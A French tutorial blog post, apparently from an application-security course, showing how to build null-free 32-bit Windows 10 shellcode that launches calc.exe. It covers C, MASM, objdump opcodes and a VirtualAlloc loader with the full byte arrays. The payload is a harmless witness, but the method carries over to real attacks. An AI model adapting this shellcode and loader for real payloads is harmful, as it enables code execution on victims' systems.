Shellcode pour Windows 10

Divulgâchage : Parce qu’il n’y a pas que Linux dans la vie, on va se pencher sur Windows 10 pour un nouvel article sur la fabrication de shellcodes. On va tout d’abord écrire ce que l’on veut faire en C, puis passer par l’assembleur et enfin récupérer les opcodes. La différence entre Windows et Linux vient de l’utilisation des dll et non des appels système.

Je vous ai présenté récemment comment faire un shellcode 64 bits sous Linux, question tout droit sortie du cours que j’ai donné à l’INSA sur la sécurité des applications.

Chaque OS ayant ses subtilités, il est légitime de se demander ce qui aurait changé si on avait choisi Windows 10. Dans l’idée, en fait, pas grand chose. On a toujours des opcodes et on va toujours faire appel à des fonctions du noyau, mais la manière de faire va un tout petit peu changer.

geralt @ pixabay

Nous allons donc vous montrer l’élaboration d’un shellcode pour Windows. La démarche ne devrait pas changer mais en ce qui nous concerne, voici notre plateforme :

Ce que l’on va faire

Comme pour notre shellcode sous Linux, je ne vais pas faire un vrai shellcode mais lancer une charge utile témoin. Si vous pouvez le faire, vous pourrez faire de vraies charges. Et dans le monde Windows, le témoin, souvent, c’est la calculatrice.

La cible

Bien qu’il soit tout à fait possible d’écrire directement en assembleur si vous en avez le courage, personnellement, je préfère commencer par écrire un code en C, qui me servira de cible. Ce bout de code définira exactement ce que je veux que mon shellcode fasse.

La cible. osamart2meme @ pixabay

Puisque notre charge devra être exécutée dans un processus victime sur lequel nous n’avons que très peu d’hypothèses, pour simplifier les choses on va considérer que seule la DLL kernel32.dll est chargée en mémoire. Comme elle fourni les fonctions pour charger d’autres DLL et trouver l’adresse de leurs fonctions, c’est largement suffisant.

Nous allons donc faire appel aux fonctions LoadLibraryA() et GetProcAddress() afin de charger la fonction ShellExecuteA() située dans shell32.dll, puis appeler celle-ci afin de lancer calc.exe. Nous terminerons ensuite proprement le processeur via un appel à ExitProcess().

LoadLibraryA permet de charger une DLL. GetProcAddress permet de récupérer l’adresse d’une fonction dans une DLL. Nous choisissons de lancer la fonction ShellExecuteA, située dansl a DLL shell32.dll. Cette fonction permet de lancer un exécutable, dans notre cas, la calculatrice calc.exe.

Le programme suivant représente donc ce que nous souhaitons que notre shellcode fasse :

#include <windows.h>

int main()
{
    HMODULE libname = LoadLibraryA("shell32.dll");
    GetProcAddress(libname, "ShellExecuteA");
    ShellExecuteA(NULL, "open", "calc.exe", NULL, NULL, 5);
    ExitProcess(0);
}

La compilation

Vous pouvez générer la solution dans Visual Studio et utiliser le petit bouton vert « Débogueur Windows local » pour tester.

Vous verrez alors apparaître votre calculatrice.

Calculatrice

Passer par l’assembleur

Comme la dernière fois, l’étape suivante consiste à le traduire en assembleur. Cette fois, nous nous heurtons aux deux problèmes suivants :

  1. récupérer l’adresse des fonctions LoadLibraryA(), GetProcAddress() et ExitProcess(),
  2. récupérer l’adresse des différentes chaînes de caractères.

Pour les linuxiens, la syntaxe assembleur utilisée dans les outils Windows est la syntaxe Intel. Entre autres petites spécificité, l’ordre des paramètres source/destination est inversé par rapport à la syntaxe AT&T à laquelle vous êtes habitués.

De même, nous utiliserons MASM directement dans visual studio et non NASM, qui nécessite d’installer d’autres outils de h4x0rs. La syntaxe ne change pas, mais il y a quelques subtilités pour la « décoration » (e.g signifier où est le point d’entrée).

Adresses des fonctions

En vrai, nous devrions récupérer les adresses des fonctions directement via le shellcode, mais comme c’est assez fastidieux, nous allons rester au plus simple pour l’instant, car le but ici est de comprendre comment faire un shellcode sous Windows, et effectuer ce genre de manipulations embrouillerait pour rien les choses.

Nous avons donc choisi de récupérer ces adresses une fois et ensuite, les coder en dur.

Ça marche parce que sur Windows, Kernel32.dll est toujours chargée au même endroit. L’adresse des fonctions ne dépend donc que de l’agencement de kernel32 (et autres petites subtilités d’une version à l’autre). Notre shellcode ne marchera donc que sur la version de Windows sur laquelle il a été fait.

Nous allons donc faire un programme dédié, en utilisant la fonction GetProcAddress() pour récupérer les adresses dont nous avons besoin.

#include <Windows.h>
#include <stdio.h>

int main() {
    HMODULE hModule = LoadLibrary(L"kernel32.dll");

    FARPROC func  = GetProcAddress(hModule, "LoadLibraryA");
    FARPROC func2 = GetProcAddress(hModule, "GetProcAddress");
    FARPROC func3 = GetProcAddress(hModule, "ExitProcess");

    printf("LoadLibraryA   0x%08x\n", (unsigned int)func);
    printf("GetProcAddress 0x%08x\n", (unsigned int)func2);
    printf("ExitProcess    0x%08x\n", (unsigned int)func3);

    FreeLibrary(hModule);
}

Une fois compilé et exécuté, il nous donne les adresses :

LoadLibraryA   0x74bf2280
GetProcAddress 0x74bf05a0
ExitProcess    0x74bf4f20

Adresses des chaînes de caractères

Il n’est pas forcément simple de stocker des chaînes de caractères et de récupérer leurs adresses dans un shellcode. Il existe différentes techniques possibles, mais celle que nous utiliserons pour notre shellcode est tirée de l’article mythique d’Aleph One : Smashing the Stack for Fun and Profit.

Après l’utilisation d’une instruction call, l’adresse de retour (l’instruction qui suivait le call) est stockée au sommet de la pile. Si, au lieu d’une instruction, on y place notre chaîne de caractère, le sommet de pile contiendra l’adresse de la chaîne.

Lorsque nous avons besoin de récupérer l’adresse d’une chaîne de caractères, nous allons utiliser un jmp pour sauter sur un call qui précède cette chaîne et nous renvoie à la suite du jmp.

Récupérer l’adresse de la chaîne « ma chaîne » se fera de la manière suivante :

    jmp labeldata
labelcode:
    pop ebx
    ; Reste du code

labeldata:
    call labelcode
    db "ma chaîne", 0

Nous utilisons ici des labels pour plus de lisibilité, mais en fait, le compilateur va utiliser un saut relatif, en fournissant à jmp le nombre d’octets à sauter, et nous éviter le calcule de la distance à la main.

En MASM, afin de garantir que la chaîne se finisse bien par le caractère 0, il faut ajouter , 0 en fin de ligne.

Code final

Maintenant que l’on connaît l’adresse des fonctions que l’on souhaite appeler et comment récupérer l’adresse des différentes chaînes de caractère dont nous avons besoin, nous pouvons écrire notre code assembleur.

Bien que MASM soit installé avec Visual Studio par défaut, il n’est pas possible de créer un projet MASM via l’interface de création de projets. Or, nous avons justement besoin d’un projet MASM pour compiler et tester notre code.

Pour avoir un projet assembleur, nous devons donc faire les manipulations suivantes :

  • Créer un projet vide dans Visual Studio,
  • Cliquer droit sur le projet, puis dans dépendance de build/personnalisation de la build et sélectionner masm,

Ensuite, pour créer un fichier assembleur, il faut suivre les étapes suivantes :

  • cliquer droit sur Fichiers sources, puis Ajouter/Nouvel élément,
  • ajouter un fichier texte, en changeant l’extension en .asm.

Afin de comprendre le code suivant, voici quelques informations sur des directives propres à MASM :

Ces précisions étant faites, voici le code correspondant à notre cible :

.model flat, stdcall

.code

mainCRTStartup PROC

        jmp shell32_dll
    loadlibraryA: 
        mov eax, 74bf2280h ;loadlibraryA
        call eax   

        jmp shell_execute 
    GetProcAddress: 
        push eax
        mov eax, 74bf05a0h ;GetProcAddress
        call eax

        jmp calc
    ShellExecuteA1:
        pop ebx

        jmp open
    ShellExecuteA2:
        pop ecx

        push 5 
        push 0  
        push 0
        push ebx
        push ecx 
        push 0  
        call eax ;ShellExecuteA

        push 0  
        mov eax, 74bf4f20h ;ExitProcess  
        call eax

    shell32_dll:    
        call loadlibraryA
        db "Shell32.dll" ,0

    shell_execute:
        call GetProcAddress
        db "ShellExecuteA", 0

    calc:
        call ShellExecuteA1
        db "calc.exe", 0

    open:
        call ShellExecuteA2
        db "open", 0
mainCRTStartup ENDP
end

Opcode

Maintenant que nous avons notre code assembleur, la dernière étape est de traduire le tout en code machine.

Objdump

Il est possible de demander à Visual Studio d’observer le code machine lors d’une exécution, mais cela n’est franchement pas très lisible ni pratique… Comme pour Linux, je vais utiliser objdump, qu’on peut obtenir sous Windows via Mingw.

L’option -d va désassembler le fichier objet passé en paramètre pour qu’on puisse lire les opcodes en vis à vis du code assembleur :

C:\MinGW\bin\objdump.exe -d  C:\Users\corin\source\repos\shellcodeasm\shellcodeasm\Debug\shellcodeasm.obj:     file format pe-i386


Disassembly of section .text$mn:

00000000 <_mainCRTStartup@0>:
   0:   eb 2c                   jmp    2e <shell32_dll>

00000002 <loadlibraryA>:
   2:   b8 80 22 bf 74          mov    $0x74bf2280,%eax
   7:   ff d0                   call   *%eax
   9:   eb 34                   jmp    3f <shell_execute>

0000000b <GetProcAddress>:
   b:   50                      push   %eax
   c:   b8 a0 05 bf 74          mov    $0x74bf05a0,%eax
  11:   ff d0                   call   *%eax
  13:   eb 3d                   jmp    52 <calc>

00000015 <ShellExecuteA1>:
  15:   5b                      pop    %ebx
  16:   eb 48                   jmp    60 <open>

00000018 <ShellExecuteA2>:
  18:   59                      pop    %ecx
  19:   6a 05                   push   $0x5
  1b:   6a 00                   push   $0x0
  1d:   6a 00                   push   $0x0
  1f:   53                      push   %ebx
  20:   51                      push   %ecx
  21:   6a 00                   push   $0x0
  23:   ff d0                   call   *%eax
  25:   6a 00                   push   $0x0
  27:   b8 20 4f bf 74          mov    $0x74bf4f20,%eax
  2c:   ff d0                   call   *%eax

0000002e <shell32_dll>:
  2e:   e8 cf ff ff ff          call   2 <loadlibraryA>
  33:   53                      push   %ebx
  34:   68 65 6c 6c 33          push   $0x336c6c65
  39:   32 2e                   xor    (%esi),%ch
  3b:   64 6c                   fs insb (%dx),%es:(%edi)
  3d:   6c                      insb   (%dx),%es:(%edi)
        ...

0000003f <shell_execute>:
  3f:   e8 c7 ff ff ff          call   b <GetProcAddress>
  44:   53                      push   %ebx
  45:   68 65 6c 6c 45          push   $0x456c6c65
  4a:   78 65                   js     b1 <open+0x51>
  4c:   63 75 74                arpl   %si,0x74(%ebp)
  4f:   65 41                   gs inc %ecx
        ...

00000052 <calc>:
  52:   e8 be ff ff ff          call   15 <ShellExecuteA1>
  57:   63 61 6c                arpl   %sp,0x6c(%ecx)
  5a:   63 2e                   arpl   %bp,(%esi)
  5c:   65 78 65                gs js  c4 <open+0x64>
        ...

00000060 <open>:
  60:   e8 b3 ff ff ff          call   18 <ShellExecuteA2>
  65:   6f                      outsl  %ds:(%esi),(%dx)
  66:   70 65                   jo     cd <open+0x6d>
  68:   6e                      outsb  %ds:(%esi),(%dx)
        ...

objdump ne vous affichera pas le 0 de fin de chaîne, n’oubliez pas de le mettre.

Exécuter le shellcode

Pour le tester notre shellcode, nous allons, allouer une zone mémoire exécutable avec VirtualAlloc(), y copier le shellcode avec memcpy() puis l’appeler comme s’il s’agissait d’une fonction comme une autre.

Notez qu’on aurait pu faire exactement pareil sous Linux avec mmap() mais nous avions préféré définir la pile comme étant exécutable.

Il est maintenant possible de tester le shellcode, via le petit programme suivant :

#include <windows.h>

int main(int argc, char** argv) {
    char shellcode[] = {
    0xeb, 0x2c, 0xb8, 0x80, 0x22, 0xbf, 0x74, 0xff, 0xd0, 0xeb, 
    0x34, 0x50, 0xb8, 0xa0, 0x05, 0xbf, 0x74, 0xff, 0xd0, 0xeb, 
    0x3d, 0x5b, 0xeb, 0x48, 0x59, 0x6a, 0x05, 0x6a, 0x00, 0x6a, 
    0x00, 0x53, 0x51, 0x6a, 0x00, 0xff, 0xd0, 0x6a, 0x00, 0xb8, 
    0x20, 0x4f, 0xbf, 0x74, 0xff, 0xd0, 0xe8, 0xcf, 0xff, 0xff, 
    0xff, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x33, 0x32, 0x2e, 0x64, 
    0x6c, 0x6c, 0x00, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x53, 0x68,
    0x65, 0x6c, 0x6c, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65,
    0x41, 0x00, 0xe8, 0xbe, 0xff, 0xff, 0xff, 0x63, 0x61, 0x6c, 
    0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, 0xe8, 0xb3, 0xff, 0xff, 
    0xff, 0x6f, 0x70, 0x65, 0x6e, 0x00
    };

    void* exec = VirtualAlloc(
        0,
        sizeof shellcode,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
        );
    
    memcpy(exec, shellcode, sizeof shellcode);
    
    ((void(*)())exec)();
}

Si vous lancez ce programme, il lancera la calculatrice. Bon, d’accord, les claviers ont parfois un raccourci pour ça, mais avouez que c’est quand même plus classe…

Supprimer les 0x00

Notre shellcode n’est pas fini. Il contient encore des 0x00 qui peuvent le tronquer lors d’une copie avec une fonction comme strcpy(). Pour chaque instruction assembleur, il faut donc trouver une alternative.

Fabriquer les 0

L’instruction push 0 peut être adaptée facilement grâce à un xor :

xor edx, edx
push edx

Le 0 de fin de chaîne est plus problématique. La méthode que nous allons utiliser est d’ajouter un caractère inutile en fin de chaîne (par exemple Shell32.dllX), puis de le remplacer par un 0. Évidement, ce 0 sera calculé avec un xor…

 ; L'adresse de la chaine dans ebx
 pop ebx
 ; 0 dans edx
 xor edx, edx
 ; met un 0 au 12eme caractère
 mov byte ptr [ebx + 11], dl 

Code Assembleur

Avant de pouvoir tester notre nouvelle version du shellcode, il faut dire à l’éditeur de liens que nous avons besoin d’un segment de code modifiable, sinon, il sera impossible d’utiliser la technique précédente pour modifier notre chaîne de caractères et remplacer le 0.

Pour cela, clic-droit sur le projet, puis sur « propriétés », dans « éditeur de liens/ligne de commande », coller la ligne /SECTION:.text,rwe.

Notre code assembleur final sera donc le suivant :

.model flat

.code 

mainCRTStartup PROC
        jmp shell32_dll
    loadlibraryA: 
        pop ebx
        xor edx, edx
        mov byte ptr [ebx + 11], dl
        push ebx

        mov eax, 74bf2280h
        call eax ;loadlibraryA

        jmp shell_execute
    GetProcAddress:
        pop ebx
        xor edx, edx
        mov byte ptr [ebx + 13], dl
        push ebx
        push eax
        mov eax, 74bf05a0h
        call eax ;GetProcAddress

        jmp calc
    ShellExecuteA1:
        pop ebx
        xor edx, edx
        mov byte ptr [ebx + 8], dl

        jmp open
    ShellExecuteA2:
        pop ecx
        xor edx, edx
        mov byte ptr [ecx + 4], dl

        xor edx, edx

        push 5
        push edx
        push edx
        push ebx
        push ecx
        push edx
        call eax ;ShellExecuteA

        xor edx, edx

        push edx
        mov eax, 74bf4f20h
        call eax ;ExitProcess

    shell32_dll:
        call loadlibraryA
        db "Shell32.dllX"

    shell_execute:
        call GetProcAddress
        db "ShellExecuteAX"

    calc:
        call ShellExecuteA1
        db "calc.exeX"

    open:
        call ShellExecuteA2
        db "openX"

mainCRTStartup ENDP

end

Exécuter le shellcode

En utilisant objdump, on vérifie qu’il ne reste plus de 0, et on note les opcodes. On peut ensuite le tester, comme précédemment :

#include <windows.h>

int main(int argc, char** argv) {
    char shellcode[] = {
         0xeb, 0x44, 0x5b, 0x33, 0xd2, 0x88, 0x53, 0x0b,
         0x53, 0xb8, 0x80, 0x22, 0xbf, 0x74, 0xff, 0xd0,
         0xeb, 0x45, 0x5b, 0x33, 0xd2, 0x88, 0x53, 0x0d,
         0x53, 0x50, 0xb8, 0xa0, 0x05, 0xbf, 0x74, 0xff,
         0xd0, 0xeb, 0x47, 0x5b, 0x33, 0xd2, 0x88, 0x53,
         0x08, 0xeb, 0x4d, 0x59, 0x33, 0xd2, 0x88, 0x51,
         0x04, 0x33, 0xd2, 0x6a, 0x05, 0x52, 0x52, 0x53,
         0x51, 0x52, 0xff, 0xd0, 0x33, 0xd2, 0x52, 0xb8,
         0x20, 0x4f, 0xbf, 0x74, 0xff, 0xd0, 0xe8, 0xb7,
         0xff, 0xff, 0xff, 0x53, 0x68, 0x65, 0x6c, 0x6c,
         0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x58, 0xe8,
         0xb6, 0xff, 0xff, 0xff, 0x53, 0x68, 0x65, 0x6c,
         0x6c, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65,
         0x41, 0x58, 0xe8, 0xb4, 0xff, 0xff, 0xff, 0x63,
         0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x58,
         0xe8, 0xae, 0xff, 0xff, 0xff, 0x6f, 0x70, 0x65,
         0x6e, 0x58
    };

    void* exec = VirtualAlloc(
        0,
        sizeof shellcode,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
        );
    
    memcpy(exec, shellcode, sizeof shellcode);
    
    ((void(*)())exec)();
}

C’est voilà !!! Un shellcode tout beau tout propre, sans 0x00 !

Petite animation de la Victoire !

Et après ?

Vous avez les billes pour débuter le shellcoding sous Windows. Récupérer l’adresse de DLL, de processus,… est une base qui vous permettra de construire n’importe quel shellcode.

Evidemment, l’étape d’après sera de se passer du hardcoding de l’adresse des fonctions…